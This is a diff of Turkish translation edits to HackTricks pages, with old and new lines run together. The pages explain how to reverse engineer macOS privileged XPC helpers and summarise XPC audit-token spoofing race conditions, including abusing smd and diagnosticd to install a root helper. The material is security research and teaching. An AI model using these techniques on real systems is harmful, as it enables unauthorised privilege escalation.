is-admin (admin), is-admin-nonshared (admin), is-appstore (_appstore), is-developer (_developer), is-lpadmin (_lpadmin), is-root (run as root), is-session-owner (session owner), is-webdeveloper (_webdeveloper), system-identity-write-self (session owner), system-install-iap-software (run as root), system-install-software-iap (run as root) is-admin (admin), is-admin-nonshared (admin), is-appstore (_appstore), is-developer (_developer), is-lpadmin (_lpadmin), is-root (run as root), is-session-owner (session owner), is-webdeveloper (_webdeveloper), system-identity-write-self (session owner), system-install-iap-software (run as root), system-install-software-iap (run as root)
@ -281,15 +281,15 @@ authenticate-session-owner, authenticate-session-owner-or-admin, authenticate-se
``` ```
## Yetkilendirme Geri Mühendisliği ## Yetkilendirme Geri Mühendisliği
### EvenBetterAuthorization'ın Kullanılıp Kullanılmadığını Kontrol Etme ### EvenBetterAuthorization Kullanılıp Kullanılmadığını Kontrol Etme
Eğer **`[HelperTool checkAuthorization:command:]`** fonksiyonunu bulursanız, muhtemelen işlem önceden bahsedilen yetkilendirme şemasını kullanıyor: Eğer **`[HelperTool checkAuthorization:command:]`** fonksiyonunu bulursanız, muhtemelen işlem önceden bahsedilen yetkilendirme şemasını kullanıyor:
<figure><img src="../../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Bu fonksiyon, `AuthorizationCreateFromExternalForm`, `authorizationRightForCommand`, `AuthorizationCopyRights`, `AuhtorizationFree` gibi fonksiyonları çağırıyorsa, [**EvenBetterAuthorizationSample**](https://github.com/brenwell/EvenBetterAuthorizationSample/blob/e1052a1855d3a5e56db71df5f04e790bfd4389c4/HelperTool/HelperTool.m#L101-L154) kullanıyor demektir. Bu fonksiyon, `AuthorizationCreateFromExternalForm`, `authorizationRightForCommand`, `AuthorizationCopyRights`, `AuhtorizationFree` gibi fonksiyonları çağırıyorsa, [**EvenBetterAuthorizationSample**](https://github.com/brenwell/EvenBetterAuthorizationSample/blob/e1052a1855d3a5e56db71df5f04e790bfd4389c4/HelperTool/HelperTool.m#L101-L154) kullanıyor demektir.
Kullanıcı etkileşimi olmadan bazı ayrıcalıklı işlemleri çağırmak için izin alınabilir mi diye görmek için **`/var/db/auth.db`**'yi kontrol edin. Bazı ayrıcalıklı eylemleri kullanıcı etkileşimi olmadan çağırma izinlerini almak mümkün olup olmadığını görmek için **`/var/db/auth.db`** dosyasını kontrol edin.
### Protokol İletişimi ### Protokol İletişimi
@ -297,11 +297,11 @@ Daha sonra, XPC servisi ile iletişim kurabilmek için protokol şemasını bulm
**`shouldAcceptNewConnection`** fonksiyonu dışa aktarılan protokolü gösterir: **`shouldAcceptNewConnection`** fonksiyonu dışa aktarılan protokolü gösterir:
<figure><img src="../../../../../.gitbook/assets/image (3) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Bu durumda, EvenBetterAuthorizationSample'da olduğu gibi aynı şeye sahibiz, [**bu satıra bakın**](https://github.com/brenwell/EvenBetterAuthorizationSample/blob/e1052a1855d3a5e56db71df5f04e790bfd4389c4/HelperTool/HelperTool.m#L94). Bu durumda, EvenBetterAuthorizationSample'da olduğu gibi aynı şeyi bulduk, [**bu satıra bakın**](https://github.com/brenwell/EvenBetterAuthorizationSample/blob/e1052a1855d3a5e56db71df5f04e790bfd4389c4/HelperTool/HelperTool.m#L94).
Kullanılan protokolün adını bildiğinizde, **başlık tanımını dump etmek mümkünr**: Kullanılan protokolün adını bildiğinizde, **başlık tanımını dump etmek mümkün olacaktır**:
```bash ```bash
class-dump /Library/PrivilegedHelperTools/com.example.HelperTool class-dump /Library/PrivilegedHelperTools/com.example.HelperTool
@ -317,9 +317,9 @@ class-dump /Library/PrivilegedHelperTools/com.example.HelperTool
``` ```
Son olarak, onunla iletişim kurabilmek için açığa çıkarılan Mach Servisinin adını bilmemiz gerekiyor. Bunu bulmanın birkaç yolu vardır: Son olarak, onunla iletişim kurabilmek için açığa çıkarılan Mach Servisinin adını bilmemiz gerekiyor. Bunu bulmanın birkaç yolu vardır:
* **`[HelperTool init()]`** içinde kullanılan Mach Servisinin görüldüğü yerde: * **`[HelperTool init()]`** içinde kullanılan Mach Servisinin görüldüğü yer:
<figure><img src="../../../../../.gitbook/assets/image (4) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../../../.gitbook/assets/image (4) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
* launchd plist dosyasında: * launchd plist dosyasında:
```xml ```xml
@ -339,7 +339,7 @@ cat /Library/LaunchDaemons/com.example.HelperTool.plist
Bu örnekte şunlar oluşturulmuştur: Bu örnekte şunlar oluşturulmuştur:
* Fonksiyonlarla protokolün tanımı * Fonksiyonlarla protokolün tanımı
* Erişim istemek için kullanılacak boş bir yetkilendirme * Erişim istemek için kullanılacak boş bir kimlik doğrulaması
* XPC servisine bağlantı * XPC servisine bağlantı
* Bağlantı başarılıysa fonksiyonu çağırma * Bağlantı başarılıysa fonksiyonu çağırma
```objectivec ```objectivec
@ -425,14 +425,14 @@ NSLog(@"Finished!");
<details> <details>
<summary><strong>Sıfırdan kahraman olana kadar AWS hacklemeyi öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary><strong>Sıfırdan kahraman olmak için AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'ı desteklemenin diğer yolları: HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! * **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz * [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family)
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.** * **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın veya** bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'da takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. * **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details> </details>

View file

@ -8,15 +8,15 @@ HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! * **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz * [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin**. * **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin**.
* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud** github depolarına PR'lar göndererek paylaşın. * **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details> </details>
**Daha fazla bilgi için orijinal yazıya bakın:** [**https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/**](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/). Bu bir özet: **Daha fazla bilgi için orijinal yazıya bakın:** [**https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/**](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/). Bu bir özet:
## Mach Mesajları Temel Bilgileri ## Mach Mesajları Temel Bilgiler
Mach Mesajlarının ne olduğunu bilmiyorsanız, bu sayfayı kontrol etmeye başlayın: Mach Mesajlarının ne olduğunu bilmiyorsanız, bu sayfayı kontrol etmeye başlayın:
@ -24,8 +24,7 @@ Mach Mesajlarının ne olduğunu bilmiyorsanız, bu sayfayı kontrol etmeye baş
[macos-ipc-inter-process-communication](../../../../mac-os-architecture/macos-ipc-inter-process-communication/) [macos-ipc-inter-process-communication](../../../../mac-os-architecture/macos-ipc-inter-process-communication/)
{% endcontent-ref %} {% endcontent-ref %}
Şu anda hatırlamanız gereken şey ([buradan tanım](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing)): Şu anda ([buradan tanım](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing)):\
Mach mesajları, mach çekirdeğine yerleştirilmiş **tek alıcı, çok gönderen iletişim** kanalı olan bir _mach portu_ üzerinden gönderilir. **Birden fazla işlem**, bir mach porta mesaj gönderebilir, ancak herhangi bir anda **yalnızca bir işlem** onu okuyabilir. Dosya tanımlayıcıları ve soketler gibi, mach portları çekirdek tarafından tahsis edilir ve yönetilir ve işlemler yalnızca bir tamsayı görür, bu tamsayıyı kullanarak hangi mach portlarının kullanılacağını çekirdeğe belirtebilirler. Mach mesajları, mach çekirdeğine yerleştirilmiş **tek alıcı, çok gönderen iletişim** kanalı olan bir _mach portu_ üzerinden gönderilir. **Birden fazla işlem**, bir mach porta mesaj gönderebilir, ancak herhangi bir anda **yalnızca bir işlem** onu okuyabilir. Dosya tanımlayıcıları ve soketler gibi, mach portları çekirdek tarafından tahsis edilir ve yönetilir ve işlemler yalnızca bir tamsayı görür, bu tamsayıyı kullanarak hangi mach portlarının kullanılacağını çekirdeğe belirtebilirler.
## XPC Bağlantısı ## XPC Bağlantısı
@ -38,49 +37,49 @@ Bir XPC bağlantısının nasıl kurulduğunu bilmiyorsanız kontrol edin:
## Zafiyet Özeti ## Zafiyet Özeti
Bilmeniz gereken ilginç şey şudur ki **XPC'nin soyutlaması birbirine bağlı bir bağlantıdır**, ancak **çoklu göndericiye sahip olabilen bir teknolojiye dayanır, bu nedenle:** Bilmeniz gereken ilginç şey şudur ki **XPC'nin soyutlaması birbirine bağlı bir bağlantıdır**, ancak **çoklu göndericiye sahip olabilen bir teknoloji üzerine kurulmuştur, bu nedenle:**
* Mach portları tek alıcı, **çoklu gönderici**dir. * Mach portları tek alıcı, **çoklu gönderen**'dir.
* Bir XPC bağlantısının denetim belgesi, **en son alınan mesajdan kopyalanır**. * Bir XPC bağlantısının denetim belgesi, **en son alınan mesajdan kopyalanır**.
* Bir XPC bağlantısının **denetim belgesini elde etmek**, birçok **güvenlik denetimleri** için kritiktir. * Bir XPC bağlantısının **denetim belgesini elde etmek**, birçok **güvenlik denetimleri** için kritiktir.
Önceki durum umut verici görünse de, bu duruma neden olmayacak bazı senaryolar vardır ([buradan](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing)): Önceki durum umut verici görünse de, bu duruma neden olmayacak bazı senaryolar vardır ([buradan](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing)):
* Denetim belgeleri genellikle bir bağlantıyı kabul edip etmeyeceğine karar vermek için bir yetkilendirme denetimi için kullanılır. Bu, bir hizmet bağlantısına bir mesaj kullanılarak gerçekleştiğinden, henüz **bağlantı kurulmamıştır**. Bu bağlantı noktasındaki daha fazla mesajlar sadece ek bağlantı istekleri olarak ele alınır. Bu nedenle, **bağlantıyı kabul etmeden önce yapılan denetimler savunmasız değildir** (bu ayrıca `-listener:shouldAcceptNewConnection:` içinde denetim belgesinin güvenli olduğu anlamına gelir). Bu nedenle **belirli eylemleri doğrulayan XPC bağlantıları arıyoruz**. * Denetim belgeleri genellikle bir bağlantıyı kabul edip etmeyeceğine karar vermek için bir yetkilendirme denetimi için kullanılır. Bu, bir hizmet bağlantısına bir mesaj kullanılarak gerçekleştiğinden, henüz **bağlantı kurulmamıştır**. Bu bağlantı noktasındaki daha fazla mesajlar sadece ek bağlantı istekleri olarak ele alınır. Bu nedenle, **bağlantıyı kabul etmeden önce yapılan denetimlerde zafiyet yoktur** (bu ayrıca `-listener:shouldAcceptNewConnection:` içinde denetim belgesinin güvende olduğu anlamına gelir). Bu nedenle **belirli eylemleri doğrulayan XPC bağlantıları arıyoruz**.
* XPC olay işleyicileri eşzamanlı olarak işlenir. Bu, bir mesaj için olay işleyicisinin bir sonraki mesaj için çağrılması gerektiği anlamına gelir, hatta eşzamanlı dağıtım kuyruklarında bile. Bu nedenle **XPC olay işleyicisi içinde denetim belgesi başka normal (yanıt dışı!) mesajlar tarafından üzerine yazılamaz**. * XPC olay işleyicileri eşzamanlı olarak işlenir. Bu, bir mesaj için olay işleyicisinin bir sonraki mesaj için çağrılması gerektiği anlamına gelir, hatta eşzamanlı dağıtım kuyruklarında bile. Bu nedenle **XPC olay işleyicisi içinde denetim belgesi başka normal (yanıt olmayan!) mesajlar tarafından üzerine yazılamaz**.
Bu, nasıl sömürülebileceğine dair iki farklı yöntem vardır: Bu, bu durumun nasıl sorunlara yol açmayacağınııklayan iki farklı yöntemdir:
1. Varyant1: 1. Varyant1:
* **Sömürü**, hizmet **A** ve hizmet **B'ye** bağlanır. * **Saldırı**, hizmet **A** ve hizmet **B**'ye bağlanır.
* Hizmet **B**, kullanıcının yapamayacağı bir **aşamalı işlevi** hizmet **A'da** çağırabilir. * Hizmet **B**, kullanıcının yapamayacağı bir **ayrıcalıklı işlevi** hizmet **A**'da çağırabilir.
* **Hizmet A**, bir **`dispatch_async`** içinde olmadan **`xpc_connection_get_audit_token`** çağırırken **denetim belgesini alır**. * Hizmet **A**, bir **`dispatch_async`** içinde olmadığı sırada **`xpc_connection_get_audit_token`**'ı çağırır.
* Bu nedenle **farklı** bir mesaj, olay işleyicisi dışında asenkron olarak gönderildiği için **Denetim Belgesi üzerine yazılabilir**. * Bu nedenle **farklı** bir mesaj, olay işleyicisi dışında asenkron olarak gönderildiği için **Denetim Belgesi üzerine yazılabilir**.
* Sömürü, **hizmet A'ya SEND hakkını hizmet B'ye geçirir**. * Saldırı, **hizmet A'ya SEND hakkını hizmet B'ye geçirir**.
* Bu nedenle svc **B**, aslında mesajları hizmet **A'ya gönderir**. * Bu nedenle svc **B**, mesajları aslında hizmet **A'ya gönderir**.
* **Sömürü**, **aşamalılemi çağırmaya çalışır**. Bir RC svc **A**, bu **eylemin yetkilendirmesini kontrol ederken svc B Denetim belgesini üzerine yazdı** (sömürünün ayrıcalıklı eylemi çağırma erişimine sahip olmasını sağlar). * **Saldırı**, **ayrıcalıklı eylemi çağırmaya çalışır**. Bir RC svc **A**, bu **eylemin yetkilendirmesini kontrol ederken svc B Denetim belgesini üzerine yazdı** (saldırının ayrıcalıklı eylemi çağırma erişimine sahip olmasını sağlar).
2. Varyant 2: 2. Varyant 2:
* Hizmet **B**, kullanıcının yapamayacağı bir **aşamalı işlevi** hizmet **A'da** çağırabilir. * Hizmet **B**, kullanıcının yapamayacağı bir **ayrıcalıklı işlevi** hizmet **A**'da çağırabilir.
* Sömürü, **hizmet A'ya** bağlanır ve hizmetten belirli bir **yanıt bekleyen bir mesaj** gönderir. * Saldırı, **hizmet A** ile bağlantı kurar ve hizmet **A'dan belirli bir yanıt bekleyen bir mesajı** belirli bir **yanıt** **portuna** gönderir.
* Sömürü, **hizmet** B'ye **o yanıt portunu** geçen bir mesaj gönderir. * Saldırı, **hizmet** B'ye **bu yanıt portunu** geçiren bir mesaj gönderir.
* Hizmet **B yanıt verdiğinde**, **mesajı hizmet A'ya gönderirken**, **sömürü** ayrı bir **mesajı hizmet A'ya göndererek ayrıcalıklı bir işlevi** ulaşmaya çalışır ve hizmet B'den gelen yanıtın Denetim belgesini mükemmel anında üzerine yazmasını bekler (Yarış Koşulu). * Hizmet **B yanıt verdiğinde**, **mesajı hizmet A'ya gönderirken** **saldırı**, ayrıcalıklı bir işleme ulaşmaya çalışan farklı bir **mesajı hizmet A'ya gönderir** ve hizmet B'den gelen yanıtın Denetim belgesini mükemmel anda üzerine yazmasını bekler (Yarış Koşulu).
## Varyant 1: xpc\_connection\_get\_audit\_token'ın olay işleyicisi dışında çağrılması <a href="#variant-1-calling-xpc_connection_get_audit_token-outside-of-an-event-handler" id="variant-1-calling-xpc_connection_get_audit_token-outside-of-an-event-handler"></a> ## Varyant 1: xpc\_connection\_get\_audit\_token'ın olay işleyicisi dışında çağrılması <a href="#variant-1-calling-xpc_connection_get_audit_token-outside-of-an-event-handler" id="variant-1-calling-xpc_connection_get_audit_token-outside-of-an-event-handler"></a>
Senaryo: Senaryo:
* Bağlanabileceğimiz iki mach hizmeti **`A`** ve **`B`** (kum havuzu profili ve bağlantıyı kabul etmeden önce yetkilendirme denetimlerine dayalı). * Bağlanabileceğimiz iki mach hizmeti **`A`** ve **`B`** (kum havuzu profili ve bağlantıyı kabul etmeden önce yetkilendirme denetimlerine dayalı).
* _**A**_, **`B`**'nin geçebileceği belirli bir eylem için bir **yetkilendirme denetimi** yapmalı (ancak uygulamamız yapamaz). * _**A**_'nın, **`B`**'nin geçebileceği belirli bir eylem için bir **yetkilendirme denetimi** olmalı (ancak uygulamamız yapamaz).
* Örneğin, B bazı **ayrıcalıklara** sahipse veya **root** olarak çalışıyorsa, A'dan ayrıcalıklı bir eylem gerçekleştirmesini istemesine izin verebilir. * Örneğin, B bazı **ayrıcalıklara** sahipse veya **root** olarak çalışıyorsa, A'dan ayrıcalıklı bir eylem gerçekleştirmesini istemesine izin verebilir.
* Bu yetkilendirme denetimi için **`A`**, örneğin `dispatch_async`'den **`xpc_connection_get_audit_token`** çağırarak denetim belgesini asenkron olarak alır. * Bu yetkilendirme denetimi için, **`A`**, örneğin `dispatch_async`'den **xpc_connection_get_audit_token**'ı çağırarak denetim belgesini asenkron olarak alır.
{% hint style="danger" %} {% hint style="danger" %}
Bu durumda bir saldırgan, **A'dan bir eylem gerçekleştirmesini isteyen bir sömürü** oluşturabilirken **B'nin A'ya mesaj göndermesini sağlayan bir Yarış Koşulu** tetikleyebilir. RC başarılı olduğunda, **B'nin denetim belgesi**, **sömürü**nün A tarafından **işlenirken** hafızaya kopyalanır ve **sömürü**nün **yalnızca B'nin isteyebileceği ayrıcalıklı eyleme erişimini** verir. Bu durumda bir saldırgan, **A'dan bir eylem gerçekleştirmesini isteyen bir saldırı** yaparak **B'nin A'ya mesaj göndermesini sağlayan bir Yarış Koşulu** tetikleyebilir. RC başarılı olduğunda, **B'nin denetim belgesi** bellekte **kopyalanırken**, saldırımızın **A tarafından işlenirken** **erişimi sadece B'nin isteyebileceği ayrıcalıklı eyleme** sahip olur.
{% endhint %} {% endhint %}
Bu, **`A`** olarak `smd` ve **`B`** olarak `diagnosticd` ile gerçekleşti. smb'den [`SMJobBless`](https://developer.apple.com/documentation/servicemanagement/1431078-smjobbless?language=objc) işlevi, yeni bir ayrıcalıklı yardımcı aracı (root olarak) yüklemek için kullanılabilir. **Root** olarak çalışan bir işlem **smd'ye** ulaşırsa, başka hiçbir denetim yapılmaz. Bu, **`A`**'nın `smd` ve **`B`**'nin `diagnosticd` olarak olduğu bir durumdu. smb'den [`SMJobBless`](https://developer.apple.com/documentation/servicemanagement/1431078-smjobbless?language=objc) işlevi, yeni bir ayrıcalıklı yardımcı aracı (root olarak) yüklemek için kullanılabilir. Eğer **root** olarak çalışan bir işlem **smd'ye** ulaşırsa, başka hiçbir denetim yapılmaz.
Bu nedenle hizmet **B**, **root** olarak çalıştığından ve bir işlemi **izlemek** için kullanılabileceğinden, izleme başladığında saniyede **çoklu mesaj gönderecektir.** Bu nedenle, hizmet **B**, **root** olarak çalıştığı için **diagnosticd**'dir ve bir işlemi izlemek için kullanılabilir, bu nedenle izleme başladığında saniyede **çoklu mesaj gönderir.**
Saldırıyı gerçekleştirmek için: Saldırıyı gerçekleştirmek için:
@ -88,49 +87,49 @@ Saldırıyı gerçekleştirmek için:
2. `diagnosticd`'ye ikincil bir **bağlantı** oluşturun. Normal prosedürün aksine, iki yeni mach port oluşturmak ve göndermek yerine, istemci portu gönderme hakkı, `smd` bağlantısıyla ilişkilendirilen **gönderme hakkının bir kopyası ile değiştirilir**. 2. `diagnosticd`'ye ikincil bir **bağlantı** oluşturun. Normal prosedürün aksine, iki yeni mach port oluşturmak ve göndermek yerine, istemci portu gönderme hakkı, `smd` bağlantısıyla ilişkilendirilen **gönderme hakkının bir kopyası ile değiştirilir**.
3. Sonuç olarak, XPC mesajları `diagnosticd`'ye gönderilebilir, ancak `diagnosticd`'den gelen yanıtlar `smd`'ye yönlendirilir. `smd` için, hem kullanıcıdan hem de `diagnosticd`'den gelen mesajların aynı bağlantıdan geldiği görünmektedir. 3. Sonuç olarak, XPC mesajları `diagnosticd`'ye gönderilebilir, ancak `diagnosticd`'den gelen yanıtlar `smd`'ye yönlendirilir. `smd` için, hem kullanıcıdan hem de `diagnosticd`'den gelen mesajların aynı bağlantıdan geldiği görünmektedir.
![Sömürü sürecini tasvir eden resim](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/exploit.png) ![Saldırı sürecini tasvir eden resim](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/exploit.png)
4. Sonraki adım, `diagnosticd`'ye seçilen bir süreci (muhtemelen kullanıcının kendi sürecini) izlemesini talimatlandırmayı içerir. Aynı anda, rutin 1004 mesajlarının bir seli `smd`'ye gönderilir. Buradaki amaç, ayrıcalıklı izinlerle bir araç yüklemektir. 4. Sonraki adım, `diagnosticd`'ye seçilen bir süreci (potansiyel olarak kullanıcının kendi sürecini) izlemesini talimat vermek içerir. Aynı anda, rutin 1004 mesajlarının `smd`'ye gönderilmesi sağlanır. Buradaki amaç, ayrıcalıklı izinlere sahip bir aracı yüklemektir.
5. Bu eylem, `handle_bless` işlevi içinde bir yarış koşulunu tetikler. Zamanlama kritiktir: `xpc_connection_get_pid` işlevi çağrısının kullanıcının sürecinin PID'sini döndürmesi gerekir (çünkü ayrıcalıklı araç kullanıcının uygulama paketinde bulunur). Ancak, `xpc_connection_get_audit_token` işlevi, özellikle `connection_is_authorized` alt rutini içinde, `diagnosticd`'ye ait olan denetim belgesine başvurmalıdır. 5. Bu eylem, `handle_bless` işlevi içinde bir yarış koşulu tetikler. Zamanlama kritiktir: `xpc_connection_get_pid` işlevi çağrısının kullanıcının sürecinin PID'sini döndürmesi gerekir (çünkü ayrıcalıklı araç kullanıcının uygulama paketinde bulunur). Ancak, `xpc_connection_get_audit_token` işlevi, özellikle `connection_is_authorized` alt rutini içinde, `diagnosticd`'ye ait olan denetim belgesine başvurmalıdır.
## Varyant 2: yanıt yönlendirme ## Varyant 2: yanıt yönlendirme
Bir XPC (Çapraz Süreç İletişimi) ortamında, olay işleyicileri eşzamanlı olarak yürütülmezken, yanıt mesajlarının işlenmesi benzersiz bir davranışa sahiptir. Özellikle, yanıt bekleyen mesajların gönderilmesi için iki farklı yöntem bulunmaktadır: XPC (Çapraz Süreç İletişimi) ortamında, olay işleyicileri eşzamanlı olarak çalışmasa da, yanıt mesajlarının işlenmesi benzersiz bir davranışa sahiptir. Özellikle, yanıt bekleyen mesajların gönderilmesi için iki farklı yöntem bulunmaktadır:
1. **`xpc_connection_send_message_with_reply`**: Burada, XPC mesajı belirlenmiş bir sıra üzerinde alınır ve işlenir. 1. **`xpc_connection_send_message_with_reply`**: Burada, XPC mesajı belirlenmiş bir sıra üzerinde alınır ve işlenir.
2. **`xpc_connection_send_message_with_reply_sync`**: Buna karşılık, bu yöntemde XPC mesajı mevcut dağıtım sırasında alınır ve işlenir. 2. **`xpc_connection_send_message_with_reply_sync`**: Buna karşılık, bu yöntemde XPC mesajı mevcut dağıtım sırasında alınır ve işlenir.
Bu ayrım, **yanıt paketlerinin XPC olay işleyicisinin yürütülmesiyle eşzamanlı olarak ayrıştırılmasına olanak tanır**. Özellikle, `_xpc_connection_set_creds`, denetim belgesinin kısmi üzerine yazılmasına karşı koruma sağlamak için kilit mekanizması uygular, ancak bu korumayı tüm bağlantı nesnesine genişletmez. Sonuç olarak, bir paketin ayrıştırılması ve olay işleyicisinin yürütülmesi arasındaki aralıkta denetim belgesinin değiştirilebileceği bir zafiyet oluşturur. Bu ayrım, **yanıt paketlerinin XPC olay işleyicisinin yürütülmesiyle eşzamanlı olarak ayrıştırılmasına olanak tanır**. Özellikle, `_xpc_connection_set_creds`, denetim belgesinin kısmi üzerine yazılmasını önlemek için kilit uygular, ancak bu korumayı tüm bağlantı nesnesine genişletmez. Sonuç olarak, bir paketin ayrıştırılması ve olay işleyicisinin yürütülmesi arasındaki aralıkta denetim belgesinin değiştirilebileceği bir zafiyet oluşturur.
Bu zafiyeti sömürmek için aşağıdaki kurulum gereklidir: Bu zafiyeti sömürmek için aşağıdaki kurulum gereklidir:
* İki mach hizmeti, **`A`** ve **`B`** olarak adlandırılan, her ikisi de bir bağlantı kurabilir. * İki mach hizmeti, **`A`** ve **`B`** olarak adlandırılan, her ikisi de bir bağlantı kurabilir.
* Hizmet **`A`**, yalnızca **`B`**'nin gerçekleştirebileceği belirli bir eylem için bir yetkilendirme kontrolü içermelidir (kullanıcının uygulaması yapamaz). * Hizmet **`A`**, yalnızca **`B`**'nin gerçekleştirebileceği belirli bir lem için bir yetkilendirme kontrolü içermelidir (kullanıcının uygulaması yapamaz).
* Hizmet **`A`**, yanıt bekleyen bir mesaj göndermelidir. * Hizmet **`A`**, yanıt bekleyen bir mesaj göndermelidir.
* Kullanıcı, yanıt vereceği **`B`**'ye bir mesaj gönderebilir. * Kullanıcı, yanıt vereceği **`B`**'ye bir mesaj gönderebilir.
Sömürü süreci aşağıdaki adımları içerir: Sömürü süreci aşağıdaki adımları içerir:
1. Hizmet **`A`**'nın yanıt bekleyen bir mesaj göndermesini bekleyin. 1. Hizmet **`A`**'nın yanıt bekleyen bir mesaj göndermesini bekleyin.
2. Yanıtı doğrudan **`A`**'ya yanıtlamak yerine, yanıt bağlantı noktası ele geçirilir ve **`B`**'ye bir mesaj göndermek için kullanılır. 2. Yanıtı doğrudan **`A`**'ya yanıtlamak yerine, yanıt bağlantı noktası ele geçirilir ve **`B`** hizmetine bir mesaj göndermek için kullanılır.
3. Ardından, yasaklanan eylemi içeren bir mesaj gönderilir ve bu mesajın, **`B`**'den gelen yanıtla eşzamanlı olarak işlenmesi beklenir. 3. Ardından, yasaklanan lemi içeren bir mesaj gönderilir ve bu mesajın, **`B`**'den gelen yanıtla eşzamanlı olarak işlenmesi beklenir.
Yukarıda ıklanan saldırı senaryosunun görsel temsili aşağıda verilmiştir: Yukarıda tanımlanan saldırı senaryosunun görsel temsili aşağıda verilmiştir:
![https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/variant2.png](../../../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png) ![https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/variant2.png](../../../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png)
<figure><img src="../../../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt="https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/variant2.png" width="563"><figcaption></figcaption></figure> <figure><img src="../../../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/variant2.png" width="563"><figcaption></figcaption></figure>
## Keşif Problemleri ## Keşif Problemleri
* **Örneklerin Bulunmasındaki Zorluklar**: `xpc_connection_get_audit_token` kullanımı örneklerini hem statik hem de dinamik olarak aramak zorlu oldu. * **Örneklerin Bulunmasındaki Zorluklar**: `xpc_connection_get_audit_token` kullanımı örneklerini hem statik hem de dinamik olarak aramak zorlu oldu.
